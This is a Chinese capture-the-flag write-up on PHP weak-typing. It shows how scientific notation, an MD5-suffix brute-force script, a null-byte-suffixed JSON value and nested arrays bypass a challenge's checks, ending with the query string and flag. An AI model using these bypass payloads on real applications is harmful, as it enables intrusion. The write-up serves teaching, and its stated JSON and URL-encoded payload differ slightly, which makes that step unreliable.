在 PHP 中,如果数字字符串和数字进行比较,会自动将数字字符串转换为数字。例如,“10” == 10 返回 true。但是,如果使用 === 进行比较(类型和数值都相等),则会返回 false,因为它们不是严格相等的。因此,在进行比较时,需要注意值的类型。
在PHP中,前导字符串比较时,会将字符串转换为数字进行比较,因此会出现一些意外的结果。例如,字符串"10 apples"会被转换为整数10,然后与数字10进行比较。因此,字符串"10 apples"和数字10会被视为相等,这可能会导致意外的结果。相比之下,数字比较会严格按照数字进行比较,不会受到前导字符串的干扰。
对于既不是数字字符串也不是前导数字字符串的字符串,只会在与数字进行弱类型比较时转化为数字,且只能转化为0。
查看源码进行php特性绕过
1、用科学计数法绕过 a=1e9
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3) //$a=1e9
2、用php代码b的md5值的倒数6位为8b184b
if(isset($b) && '8b184b' === substr(md5($b),-6,6))
编写MD5碰撞脚本得到b=53724
<?php
for ($i = 1; $i < 100000; $i++) {
if('8b184b' === substr(md5($i),-6,6)){
echo($i);
}
}
?>
3、绕过is_numeric函数
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)
c非空 且 不是数值类型(前面有个感叹号) 且 c的m键值要大于2022
$c=(array)json_decode(@$_GET['c']); //接收json格式的字符串并将其转化为数组
c={"m":"2033%00"}//使用%00可以绕过is_numeric函数
4、绕过is_array和array_search函数
array_search保证非0下标元素含0就行,字符串转数字都是0
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}
c={"m":"2033%00","n":[[0,2],0]}
//对{"m":"2033%00","n":[[0,2],0]}进行url编码得到:
%7B%22m%22%3A%222033%2500%22%2C%22n%22%3A%5B%5B1%5D%2C0%5D%7D
?a=1e9&b=53724&c=%7B%22m%22%3A%222033%2500%22%2C%22n%22%3A%5B%5B1%5D%2C0%5D%7D
得到flag:cyberpeace{206912ba76c990c5bdeb51951fbf6b6a}